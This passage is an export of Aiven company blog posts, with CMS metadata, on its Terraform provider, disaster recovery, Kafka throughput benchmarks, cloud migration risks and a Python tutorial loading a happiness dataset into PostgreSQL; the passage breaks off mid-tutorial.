Terraform client to make an API call to the Aiven platform. When we get to 5.X, the Terraform client itself will be able to produce the error.\n\nWith all these changes going on, it’s important to keep your Aiven Terraform Provider version up to date; at least for the major releases. For example, if you waited to upgrade directly from Aiven Terraform Provider v3.X to v5.X, the transition would not be as smooth or, worse case, might not even work at all. Remember to keep Aiven Terraform Provider updated to the [latest version](https://registry.terraform.io/providers/aiven/aiven/latest/) :)\n\n## What’s next?\n\nAt present, our engineers are updating resources to take advantage of the new Terraform Plugin Framework on the way to the next version of Aiven Terraform Provider. This will complete the shift away from Terraform Plugin SDK. In the Terraform Plugin SDK universe, a resource cannot have a `null` value – either the resource has a value or it’s empty – which means we have to do a lot of custom checks to determine the correct state of a resource. In the future, when we build Aiven Terraform Provider using the Terraform Plugin Framework, you will be able to define a null value for resources’ parameters, which means that we can get rid of hundreds of lines of existing code from the Aiven Terraform Provider core that were checking for null or empty values. \n\n----\n\nWe cannot wait for you to build and manage your data infrastructure using Aiven Terraform Provider. Head over to the [Terraform public registry](https://registry.terraform.io/providers/aiven/aiven) to get started and take a look at the [Aiven Terraform Cookbook](https://aiven.io/docs/tools/terraform/reference/cookbook) for commonly used solutions. If you have any questions or feedback, don’t hesitate to [reach out](https://twitter.com/aiven_io).\n\n\n","categories":[{"_key":"5205d79eea68","_ref":"2qto4I26D9dTmL2jF7YDqZ","_type":"reference"},{"_key":"0ab5bc98ab28","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"2f4195d6034c","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"The text \"What's new in Aiven Terraform Provider 4.X\" against a blue background, with the Aiven cuddly crab logo at the bottom left","asset":{"_ref":"image-2861eb5f7bb671cfd6fcb775f5ed041635d513c3-1567x844-png","_type":"reference"}},"publishedAt":"2023-04-06T08:44:29.068Z","related":[],"slug":{"_type":"slug","current":"/blog/aiven-terraform-provider-v4"},"subtitle":"Aiven Terraform Provider 4.x is an important step on our move to the new Terraform Plugin Framework, providing better type checking. Read on for details.","title":"Aiven Terraform Provider v4: What's new"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"5k7n1fStOCkrjlFuvlNMW1","_rev":"GIOwkysrijyYbzGkS97yiW","_type":"post","_updatedAt":"2024-07-05T10:14:30Z","authors":[{"_key":"5SPKXKjdlpFtgqZE176yRN","_ref":"5SPKXKjdlpFtgqZE176yRN","_type":"reference"},{"_key":"2gMdAEZfTJwRIbSW8fDJ0i","_ref":"2gMdAEZfTJwRIbSW8fDJ0i","_type":"reference"}],"body":"Disaster recovery is a strange topic in the world of security and compliance. There is a lot of conversation about it, but often little gets done in practical terms. This may be because for most organisations, it’s perceived as too expensive or too remote. In normal circumstances, a true disaster is a High Impact - Low Frequency (HILF) event and something in the human psyche prefers to focus on Low Impact - High Frequency (LIHF) events. This is why you tend to worry more about burning dinner than getting hit by a meteorite. \n\nWhen you design your data storage and manipulation systems, the most common route to take is to consider redundancy: RAID storage, clustered/load-balanced servers and so on. What receives much less consideration is resiliency, which is relevant to HILF events: fault recovery and persistent service dependability.\n## Choose wisely\nOne of Aiven’s core features is choice. We provide multiple tiers of systems, from small setups with little to no redundancy (Hobbyist [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\")) all the way to big plans affording advanced redundancy and resiliency (Premium Aiven for PostgreSQL with extra geographically dispersed read replicas, or [Aiven for Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka product page\") with MirrorMaker. At Aiven, you can find just the right service mix for you. The flipside is that you have to make the right choices when selecting one; you have to balance the risk with the financial costs, and be informed about it.\n\nThe underlying technology that creates the Aiven platform is (perhaps unsurprisingly) built in part on Aiven products. We utilize all of the advanced redundancy and resiliency features to ensure the durability and persistence of Aiven services. Replication of data and services to multiple continents across a large number of systems and disks with regularly tested [backup and restore](https://aiven.io/blog/introducing-myhoard-your-single-solution-to-mysql-backups-and-restoration) procedures are table stakes for us. And remember, these are all features we also offer to you, our customers. We keep your infra and your data as safe as your own data architecture lets us.\n\nSo far so theoretical. By now you’re probably asking “what’s that got to do with me?” and “what should I be doing?” And maybe even “what do you mean my own data architecture?”\n## Making a data recovery plan\nThis section tells you what to do to maintain business continuity in the face of a disastrous event.\n\nThe key is to design your data architecture in such a way that it is safe from both LIHF and HILF events. Remember, Aiven can keep your infra and data safe, but even though we can “see” that you have two Postgres services running in different availability zones, we can’t know what you keep in them--whether they’re separate databases or whether they’re the same database replicated safely across AZs. \n### Step 1: Ensure system-level redundancy\nThis is not something you need to worry about with Aiven: we take care of this for you. In a future post we'll cover how we set up your instances smoothly and securely across clouds but, in case you urgently need details, here are some quick tips.\n\nRAID is a real-life array but, instead of containing numbers or strings, each disk is a hard drive containing your critical system data. As storage has become cheaper, using local NVMe drives with your compute instances is a very real option. Depending on your cloud, you can use \"ephemeral\" storage and create a RAID setup or you can leave all of that to be managed by the cloud provider; i.e. using EBS with AWS.\n\nYou can also provide your own keys to encrypt the disks of your bare metal instance, with most cloud providers supporting this through their Command Line Tools or API. Often, they will integrate with the authentication services such as AWS KMS or GCP Cloud KMS.\n\nOf course, this all depends on the operating system you run on your instances and your needs. For some it might be enough to use Networked Storage and backup snapshots to Object Storage regularly.\n### Step 2: Distribute HA plans securely\nWith more than 10 services, we know that High Availability (HA) has one conceptual definition but many, many implementations. Distributed services, like Kafka and Cassandra, have functions for HA baked right into their design whereas more common databases are happy to run as a single instance.\n\nWe support single node instances because we know that HA is less important for development environments. For production environments, our HA plans deploy instances in the region you choose, ensuring that they are spread across Availability Zones (AZ). If you launch Postgres in an HA setup, you will have your primary in one AZ and your standby in another. If you launch a 6 node Kafka cluster then we launch each instance into a different AZ until there are none left for that region, then we will deploy multiple instances to the same AZ. You don't need to worry about this, however, as Kafka is aware of these locations and will assign partitions so that data is spread across AZs as much as possible.\n\nBackups for all of our database services are taken at different intervals and kept at different times, depending on the plan you have selected. Your backups are stored in Object Storage in the same region and can be used to restore your service to a particular point in time (PITR) or to create a fork of your service that is an exact clone of your current service but you can select the region and plan. This is particularly useful when you want to make a fork of your production database for your engineering teams.\n\n![data-and-disaster-recovery-infograph](//cdn.sanity.io/images/sczeoy4w/production/90b84239573ff75b3f785be206f6ba78650efa8f-1567x844.jpg \"Availability Zones (AZ) and regions explained\")\n\n### Step 3: Set up read replicas and mirrored copies \nSome of you may be thinking, \"this is great but not so useful when I am working multi-cloud\". A good point indeed. We have HA plans that are AZ aware, but multi-cloud is a different story. \n\nIn Postgres or [MySQL](https://aiven.io/mysql \"Aiven for MySQL product page\"), add a read replica to your service and deploy that into the cloud (and region) of your choice. \n\nFor Kafka, use the magic of MirrorMaker 2 (and 1), a service that is bundled with Open Source Kafka and allows you to replicate data from one cluster to another. Whether you want to run a one-off migration or if you have some geographically distributed clusters that you need to be in constant sync (either with either or with a large, centralised cluster), MirrorMaker is the optimal solution. \n\nAnd for services that do not have such simple options, Kafka can come to the rescue! Through Kafka Connect, Aiven offers a wealth of open source connectors that can read from and/or push to a number of sources. This can be useful if you would like to move parts of your database into OpenSearch for analytics or to move data between InfluxDB using the HTTP API.\n\n## Further reading\nFor more information on how the Shared Responsibility Model of Cloud Computing needs to be considered in your organization’s disaster recovery planning, please see the [Cloud Security Alliance Security Guidance for Critical Areas of Cloud Computing v4.0](https://cloudsecurityalliance.org/research/guidance/ \"Cloud Security Alliance Security Guidance for Critical Areas of Cloud Computing\") in Domain 6 - Management Plane and Business Continuity section 6.0.1 Business Continuity and Disaster Recovery in the Cloud. \n\nYou can also have a look at what we think about [Data security compliance in the cloud](https://aiven.io/blog/data-security-compliance-in-the-cloud \"Data security compliance in the cloud\").\n\n## Next steps\nYour next step could be to check out [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\"), [Aiven for MySQL](https://aiven.io/mysql \"Aiven for MySQL\") or [Aiven for Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka\").\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"4oOXmVdOFVtsrwUNsesw8P","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"1nf4L7bvQOLXPjLRjAxmDO","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-fef530e78209c994b7aebdd43abd983352399d25-1567x844-png","_type":"reference"}},"publishedAt":"2021-03-17T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"We don’t like to think about disasters, but sometimes they just happen. Find out how you should prepare your data for the worst, even while hoping for the best.","metaImage":{"alt":"","asset":{"_ref":"image-fef530e78209c994b7aebdd43abd983352399d25-1567x844-png","_type":"reference"}},"metaTitle":"Data and disaster recovery with Aiven | Step-by-step guide"},"slug":{"_type":"slug","current":"/blog/data-and-disaster-recovery"},"subtitle":"We don’t like to think about disasters, but sometimes they just happen. Find out how you should prepare your data for the worst, even while hoping for the best.","title":"Data and disaster recovery"} {"__i18n_lang":"en","_createdAt":"2022-10-26T11:07:33Z","_id":"17136303-1f30-4626-b124-7c90ddd8f083","_rev":"ejVwHgKe5k9eDWbchuNvCK","_type":"post","_updatedAt":"2024-07-11T11:51:39Z","authors":[{"_key":"ebf0a2c6ccc7","_ref":"60e0ed7c-ff49-40b0-b9ea-67f865ccf364","_type":"reference"}],"body":"Knowledge is power. Once more we measured Apache Kafka® on the Aiven platform so that you can find a plan that fits your application workloads. Our goal is to measure performance of standard Aiven plans and configurations to let you choose the best plan for your workloads.\n\n\u003e Disclaimer: Aiven services are region-dependent and constantly evolving. Running this benchmark in a different region or a different year may produce different results. Please contact Aiven for the most up-to-date information.\n \n## Benchmark setup\n\nWe tested three plans: Business-4, Business-8, and Premium-6x-8, on three cloud providers: AWS (us-east-1), GCP (us-east1), and Azure (eastus2). In all tests we used the default settings (spoiler: no need to tune these plans, write throughput reached the limits of cloud providers).\n\nWe measured **sustainable** write throughput. We kept the benchmarking running for 36-48 hours and measured the mean throughput for the last 24 hours. This way we exclude values that appear in a recently created cluster but cause overloading of brokers in the long run. \n\nWe used a single topic for our write operations with a partition count set to either 3 or 6, depending on the number of brokers. We set the replication factor to be 3. As the test clusters were regular Aiven services, the partitions and replicas were spread out across availability zones.\n\nMessages were produced with the [rdkafka_performance tool](https://github.com/edenhill/librdkafka/blob/master/examples/rdkafka_performance.c), which is based on the C/C++ library librdkafka. Each message had a size of 512 bytes. Each 'produce' request used no compression and was sending batches of 10,000 messages. Client connections were made over TLS and stayed connected for the duration of the tests.\n\nAt the time of testing we used Kafka 3.2 running on Java 17. \n\n## Aiven for Apache Kafka: Business-4 plan \n\nFirst, we tested the performance of the Business-4 plan. The plan has three brokers, each with 1-2 CPU (depending on the cloud) and 4GB RAM per instance. \n\nWe measured metric BytesInPerSec as reported by the brokers. The maximum sustainable bytes in rate from clients is:\n\n- AWS: 37.0 MB/s\n- GCP: 30.5 MB/s\n- Azure: 32.7 MB/s\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/4ef28fee4418d2e67a8f1fbfcc8e7a9be681ef31-2020x1118.png)\n\n\nWe also measured metric MessagesInPerSec. The maximum sustainable messages rate is:\n\n- AWS: 72,200 messages per second\n- GCP: 56,600 messages per second\n- Azure: 63,900 messages per second\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/103b4fb2df77180b0dc14ecc6b4257860718cf06-2016x1114.png)\n\n\n## Aiven for Apache Kafka: Business-8 plan \n\nNext, we moved on to increasing the size of the brokers. We tested Business-8 plans, which have double the amount of CPUs and RAM: 2 CPUs and 8 GB RAM per broker. Again, we measured metric BytesInPerSec as reported by the brokers. The maximum sustainable byte in rate from clients is:\n\n- AWS: 62.7 MB/s\n- GCP: 81.8 MB/s\n- Azure: 81.0 MB/s\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/4fa2b718701c6b5a93ba5c4010c5a3d4f72ff878-2020x1118.png)\n\nWe also measured metric MessagesInPerSec. The maximum sustainable messages rate is:\n\n- AWS: 120,000 messages per second\n- GCP: 156,000 messages per second\n- Azure: 155,000 messages per second\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/4008bd6ce920ba0acd8ad6774726bb334a8622b0-2018x1118.png)\n\n## Aiven for Apache Kafka: Premium-6x-8 plan\n\nFinally, we doubled the number of brokers in the cluster. We increased topic partition count from 3 to 6 to make each broker in the cluster a leader of a partition. We kept replication at 3 because setting it to higher values does not improve durability in regions with 3 availability zones. We measured metric BytesInPerSec as reported by the brokers. The maximum sustainable byte in rate from clients is:\n\n- AWS: 123 MB/s\n- GCP: 147 MB/s\n- Azure: 137 MB/s\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/70f3e97b1b2121946663715628ddc2f6b5314f64-2018x1118.png)\n\n\nWe also measured metric MessagesInPerSec. The maximum sustainable messages rate is:\n\n- AWS: 235000 messages per second\n- GCP: 280000 messages per second\n- Azure: 262000 messages per second\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/41e3357038e7c5a3f7586fe077bf37310879e2e5-2018x1118.png)\n\n## Monthly throughput cost\nIt is worth noting that the throughput cost changes very little when upgrading a plan. When you upgrade a plan, the capacity is increased proportionally to the plan’s pricing. There are no hidden costs in the Aiven plans. \n\nTo see this, let’s calculate cost per MB/s per month across different plans. Below is a table that shows the results for each plan for each cloud. We take the plan’s price and divide it by the maximum sustainable throughput. The throughput increases proportionally with the plan and therefore its cost changes very little.\n\n\n| \t| \t| AWS us-east-1 \t| GCP us-east1 \t| Azure eastus2 \t|\n|--------------\t|--------------------\t|:-------------:\t|:------------:\t|:-------------:\t|\n| Business-4 \t| throughput MB/s \t| 37 \t| 30.5 \t| 32.7 \t|\n| \t| monthly cost \t| $660.00 \t| $500.00 \t| $550.00 \t|\n| \t| per MB/s per month \t| $18 \t| $16 \t| $17 \t|\n| \t| \t| \t| \t| \t|\n| Business-8 \t| throughput MB/s \t| 62.7 \t| 81.8 \t| 81 \t|\n| \t| monthly cost \t| $1,300.00 \t| $1,000.00 \t| $1,100.00 \t|\n| \t| per MB/s per month \t| $21 \t| $12 \t| $14 \t|\n| \t| \t| \t| \t| \t|\n| Premium-6x-8 \t| throughput MB/s \t| 123 \t| 147 \t| 137 \t|\n| \t| monthly cost \t| $2,500.00 \t| $1,900.00 \t| $2,100.00 \t|\n| \t| per MB/s per month \t| $20 \t| $13 \t| $15 \t|\n| \t| \t| \t| \t| \t|\n\n## Wrapping up\n\nIt is well known that cloud providers set limits on disk IOPS. Through our extensive testing we found the maximum sustainable write throughput so that Aiven for Apache Kafka does not hit IOPS limits in any 24 hours.\n\nFor production workloads we recommend to run at 70% of the maximum sustainable write throughput, or even less if your consumers cause Kafka brokers to read from the disks. The remaining capacity will be used for partition reassignments or replication of partitions to new nodes during cluster rebalancing. \n \n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n## Further reading\n\n- [Apache Kafka®: Confluent vs self-managed vs Aiven](https://aiven.io/blog/confluent-kafka-vs-apache-kafka-vs-aiven)\n\n- [Benchmarking Apache Kafka Performance Part 1: Write Throughput](https://aiven.io/blog/benchmarking-kafka-write-throughput)","categories":[{"_key":"6M8DLtFLBnGLS1UOa20n4K","_ref":"6M8DLtFLBnGLS1UOa20n4K","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-6af976c32674f6c0eb2687db10d416ce966a1cb1-1567x844-png","_type":"reference"}},"publishedAt":"2022-11-10T22:00:00.000Z","related":[{"_key":"3a6effca5a10","_ref":"4JR1zZoQLeuUT8AxByqegc","_type":"reference"}],"seo":{"_type":"metaData","metaImage":{"alt":""}},"slug":{"_type":"slug","current":"/blog/benchmarking-kafka-write-throughput-performance-2022-update"},"subtitle":"We regularly measure the throughput performance of Aiven for Apache Kafka® - check out our latest test results in this post.","title":"Benchmarking Aiven for Apache Kafka® throughput [2022 UPDATE]"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"6OgPe0wSeGI2LFRzkDXfzm","_rev":"sx3m64XnoJyDsAwkmHZS3m","_type":"post","_updatedAt":"2024-07-04T13:51:06Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":" Moving your service into a managed cloud service is perhaps the most important business transformation you’ll ever undertake. \n\nThe __benefits of using a managed data infrastructure__ are clear: \n- Increased cost control\n- Better information security\n- Improved agility\n- Focus on growing your own business\n\nBut if your company is still in on-prem mode, getting to a point where you can enjoy them can seem like a daunting task. Don't worry - you're not alone. Others have made the journey before you.\n\nLike all major undertakings, __digital transformation comes with risks__. Here are four of the most business-critical ones, and some food for thought as to how you can manage them.\n\n### 1. Critical workloads and downtime - during and after transformation\nYour on-prem solution probably isn’t perfect in terms of uptime; few solutions are. It’s likely that you originally went with on-prem because it offered the most control over fault situations and you trusted your staff to handle it. If that’s the case, then it’s no wonder if a managed cloud seems like a downtime risk.\n\nLet’s look at the numbers. When you consider how critical the service you provide is for your customers and partners, how much downtime is an acceptable amount? What is the point at which the number of users starts to go down? Your analytics department will be able to give you an idea of the timeframes you have to work with.\n\nThe relevance of those figures is twofold. Firstly, there may be outages during the initial process of moving to the cloud. You need to figure out how to keep the uptime at tolerable levels during the transformation process, through the migration of data and workloads, the reconfiguration of apps and so on.\n\nSecondly, no cloud service has 100% uptime; even the best providers sometimes have outages. The good news is that it’s no longer your responsibility to fix it. And with that transfer of responsibility comes three magic letters: [SLA](https://aiven.io/sla). When your service uptime doesn’t match expectations, it’s the provider who takes the financial hit. (But don't rely on it too much, because it's your company whose reputation suffers in the eyes of the consumers. Pick your cloud partner carefully.)\n\nNote that an SLA doesn’t mean you should just shove the whole responsibility onto the shoulders of the service provider and then forget about it. You will need to configure your own application so that it uses the provider’s resources in a sensible, sustainable way. \n\nAnd finally, update your disaster recovery plans to reflect the new reality.\n### 2. Contractual and legal risks\nA cloud infrastructure provider offers a more or less standardized service that may include various customizable or purpose-built elements. This standardization is what allows them to achieve economies of scale, and what gives you a predictable, transparent view of your expenditure. This is why cloud contracts are also standardized, and you should study them with this consideration in mind.\n\nWhen examining the service provider contract, take note of the jurisdiction that is specified for conflict resolution. Services are global, but contracts much less so.\n\nCloud storage of data involves an interesting legal conundrum. Data is subject to the local laws of the country where it’s physically stored, but data processors and controllers operate under the laws of the country where they receive the data. There may be inconsistencies in these two legal codes. Whatever your particular case, you should arm yourself with an understanding of the implications. \n\nYou should also remember that since most laws were written in the times before the internet, let alone managed data infrastructure providers, the legal framework is likely to be updated in the coming years.\n### 3. Sensitive data and security in the cloud\nMaintaining data security, confidentiality, AND availability is a tall order, and the related risks are great. How can you control what happens to your data and who has access, if the supply chain passes through public cloud providers?\n\nThe fact is that data breaches happen less frequently in the public cloud than they do in on-prem or private cloud environments. [Public clouds](https://aiven.io/blog/public-v-private-clouds-whats-the-difference) are run by dedicated companies with armies of experts. They have the latest know-how, the latest tools and the best training to keep your data safe, and they sport the [appropriate certifications](https://aiven.io/security-compliance). The risk of human error is minimized. \n\nIf your cloud access is configured appropriately, it’s also safer to share data via the cloud than it is to use a physical medium like a USB stick. \n\nThat being said, the user of a public [cloud database](https://aiven.io/blog/5-best-practices-for-cloud-database-management) service must absolutely keep security in mind when selecting a provider. Here are a few questions you should look for answers to:\n\n- Who generates, holds and distributes the encryption keys? Where does encryption happen? Is data encrypted both at rest and in motion?\n- Is personal data anonymized and encrypted?\n- Can you set access levels freely?\n- Where are the provider’s data centers located? How has the staff been vetted?\n\nAlways ensure that data is being processed and stored in accordance with the law. At the end of the day, the data controller - that’s you! - is accountable and liable for any breach, and also bears the brunt of negative publicity.\n### 4. Keeping control of your own data\nWhen moving from on-prem to a public cloud, you may easily feel like you’re handing over your data to the DBaaS vendor. It’s a natural reaction, and you should definitely listen to your gut with this one. You never want to lose control of your data. \n\nIt’s a sad fact, too, that unless you’re careful, you may find yourself in a lock-in situation. That’s when your data goes into a proprietary system and gets stored in a format where you can’t export it anywhere or even access it if you leave the vendor.\n\nEnsure that you’re always able to move your data and workloads to another provider whenever you want to. The best way to avoid vendor lock-in is to use [open source software](https://aiven.io/open-source) and providers whose systems are compatible with the plainest vanilla open source.\n\n## Wrapping up\nIn this post we've looked at only four of the biggest issues you will run into when planning a migration from on-prem to a managed cloud service. That's not the end of the story - it's only the beginning. The more you dig, the more you'll find that the answers you're figuring out are answers you should perhaps have considered already. \n\nIt all goes towards getting your house in order - even if it means renting a storage locker and fitting some of your in-house mess in there, preferably in an organized way!\n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-9cfcf51d46e066421cd0d0515aba7e61ea23fc13-3133x1688-png","_type":"reference"}},"publishedAt":"2022-05-17T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Moving the data infrastructure of your service or app from an on-prem model into a managed cloud service comes with risks. These ones you can't ignore.","metaImage":{"alt":"","asset":{"_ref":"image-9cfcf51d46e066421cd0d0515aba7e61ea23fc13-3133x1688-png","_type":"reference"}},"metaTitle":"Mitigating 4 Key Risks in Cloud Migration"},"slug":{"_type":"slug","current":"/blog/4-key-risks-in-digital-data-transformation"},"subtitle":"Moving the data infrastructure of your service or app from an on-prem model into a managed cloud service comes with risks. These ones you can't ignore.","title":"4 key risks in moving to the cloud (and how to mitigate, manage and master them)"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4P1nyBQOPxGyWUCi5S62Wm","_rev":"ZgPiUE9lJ1tcRKuFnZ6Myf","_type":"post","_updatedAt":"2024-07-11T07:52:55Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"Creating information is just like any creative process. It starts with finding the materials (in this case, datasources) and continues with cleaning, joining and wrangling datasets. By the time you're finished you've built something beautiful and gained new insights to share - and then you start all over again.\n\nOne of the most widely-used languages in the creation of information is Python, loved by data scientists, engineers and analysts alike for its great ecosystem of existing libraries for data wrangling.\n\nThis blog post explores three such libraries: `pandas`, `ddlgenerator` and `psycopg2`. These each enable us to clean a dataset and push it to a PostgreSQL database where the data can later be queried and exposed to a huge variety of company figures.\n\nToday, the objective is simple: we will explore a happiness dataset and try to find out where in the world we should move to have joyful life!\n\nHere's the high-level process:\n\n0. [Get the dataset](#0-get-the-dataset)\n1. [Clean the data](#1-clean-the-data)\n2. [Create a PostgreSQL instance](#2-create-a-postgresql-instance)\n3. [Push the data to PostgreSQL](#3-push-the-data-to-postgresql)\n4. [Query the Data in PostgreSQL](#4-query-the-data-in-postgresql)\n\n## 0. Get the dataset\nAs mentioned before, begin by finding a dataset. [Kaggle](https://www.kaggle.com) is a website widely used in the data science community, providing datasets used for challenges, competitions or learning. They have a nice dataset about [World Happiness](https://www.kaggle.com/unsdsn/world-happiness) which only requires a login to be downloaded. It contains 5 CSV files, one per year, listing the happiness ranking of various countries together with some other indicators.\n\nLet's create a folder named `happiness` and a subfolder named `data` for storing the files:\n\n```\nmkdir -p happiness/data\ncd happiness\n```\n\nNext, download the data from [Kaggle](https://www.kaggle.com/unsdsn/world-happiness) and place the 5 CSVs in the `happiness/data` folder.\n\n## 1. Clean the data\n\nAs happens frequently, source datasets are not always tidy and clean. This is also true for our happiness dataset. When browsing the files we can see that `2015.csv` and `2016.csv` share the same format of column names and data. But the `2017.csv` has the `Region` column missing, some others named and ordered differently (`Generosity` and `Trust` are swapped). The same applies to the files `2018.csv` and `2019.csv` where we can't find the confidence intervals anymore. Moreover, the year is only contained in the file name, and not in a column.\n\nBefore starting our cleaning efforts, it's good practice to create a separate [virtual environment](https://docs.python.org/3/tutorial/venv.html) every time we start a new Python project. This ensures our default Python environment is not overloaded with possibly conflicting libraries. We can create a virtual environment and enable it like this:\n\n```\npython -m venv python_pg\nsource python_pg/bin/activate\n```\n\nThe files need some work in order to produce a consistent view of the data, so let's put on our Python superhero mask. Start by installing the [pandas](https://pandas.pydata.org/) library, which will help us with data manipulation and analysis, by executing the following code in your terminal:\n\n```bash\npip install pandas\n```\n\nNow we can create a file named `prepare.py` in our `happiness` folder and start including some Python code in it. We'll start by importing the library installed earlier, together with [`os`](https://docs.python.org/3/library/os.html) and [`glob`](https://docs.python.org/3/library/glob.html) which should be installed by default and enable the interaction with the operative system and pathname pattern expansion respectively.\n\n```python\nimport pandas as pd\nimport glob, os\n```\n\nNext, define the column names that we're going to use in our target DataFrame named `all_years_df` to store the dataset once cleaned. Add the following lines to the `prepare.py` file:\n\n```python\ncolumn_names = ['survey_yr', 'country', 'overall_rank',\n 'score', 'gdp', 'generosity', 'freedom',\n 'social_support', 'life_exp', 'gov_trust']\n\nall_years_df = pd.DataFrame()\n```\n\nNow it's time to bring order to chaos and parse all the CSV files in the `data` folder. Add the following code to the `prepare.py` file:\n\n```python\nfiles = glob.glob('data/*.csv')\n\nfor fp in files:\n # Handling file names as new column\n file_year = os.path.basename(fp).split('.')[0]\n file_content = pd.read_csv(fp).assign(Year=int(file_year)-2000)\n\n # Picking the right column for each file based on the year\n uniformed_columns = find_columns(file_content, file_year)\n\n # Conforming column names and appending the parsed year data to all_years_df\n uniformed_columns.columns = column_names\n all_years_df = pd.concat([all_years_df, uniformed_columns])\n\nall_years_df.to_csv('results.csv', index=False)\n```\n\nThe `glob` function returns the list of files in the `happiness/data` folder, that we loop over. For each file, we read the filename with `os.path.basename`, split the name on the dot (`.`) and take the first part, extracting only the year information. The `file_content` line uses pandas' `read_csv` function to load the file data and populates the new column `Year` (using the `assign` function) with the last two digits of the year (`int(file_year)-2000`).\n\nNext we call the `find_columns` function, which we'll define soon, to select the correct columns from the source file depending on the year.\n\nAfter that, we consolidate the column names in the `uniformed_columns` DataFrame containing only one year of data, and then append it to the `all_years_df` DataFrame that will contain the whole dataset at the end of the process. Lastly we store the end result in a CSV file named `results.csv` in the `happiness` folder.\n\n### Picking the correct columns\nThe missing part is the `find_columns` function definition where we consolidate the column names and order. As mentioned above, depending on the year, we need to select the correct columns from the source file. Add the following code to the `prepare.py` file, just after the `import` statements, to perform the trick on various years:\n\n```python\ndef find_columns(file_content, file_year):\n if file_year in ['2015', '2016']:\n uniformed_columns = file_content[[\n 'Year', 'Country', 'Happiness Rank', 'Happiness Score',\n 'Economy (GDP per Capita)', 'Generosity', 'Freedom', 'Family',\n 'Health (Life Expectancy)', 'Trust (Government Corruption)'\n ]]\n\n elif file_year in ['2017']:\n uniformed_columns = file_content[[\n 'Year', 'Country', 'Happiness.Rank', 'Happiness.Score',\n 'Economy..GDP.per.Capita.', 'Generosity', 'Freedom', 'Family',\n 'Health..Life.Expectancy.', 'Trust..Government.Corruption.'\n ]]\n\n else:\n uniformed_columns = file_content[[\n 'Year', 'Country or region', 'Overall rank', 'Score',\n 'GDP per capita', 'Generosity', 'Freedom to make life choices',\n 'Social support', 'Healthy life expectancy',\n 'Perceptions of corruption'\n ]]\n\n return uniformed_columns\n```\n\nThe function picks the correct column for each year and returns the resulting DataFrame.\n\nIt's now time to check that the pipeline is working. With the terminal positioned on the `happiness` folder let's execute the following:\n\n```bash\npython prepare.py\n```\n\nNow check the file `results.csv` in the `happiness` folder to verify that the code worked. The results should look like this:\n\n![all data](//cdn.sanity.io/images/sczeoy4w/production/0758e59004e5028e7e9f69f7b3ecfe010a66ed78-962x213.png)\n\n## 2. Create a PostgreSQL instance\nThe second step is to store our data in a [PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\") table. But before storing it, we'll need a PG Database; let's create one with [Aiven CLI](https://aiven.io/blog/command-line-magic-with-the-aiven-cli) in our terminal\n\n```bash\navn service create demo-pg \\\n -t pg \\\n --cloud google-europe-west3 \\\n -p hobbyist\n```\n\nThe above command creates a PostgreSQL instance named `demo-pg` on `google-europe-west3` using a `hobbyist` plan. You 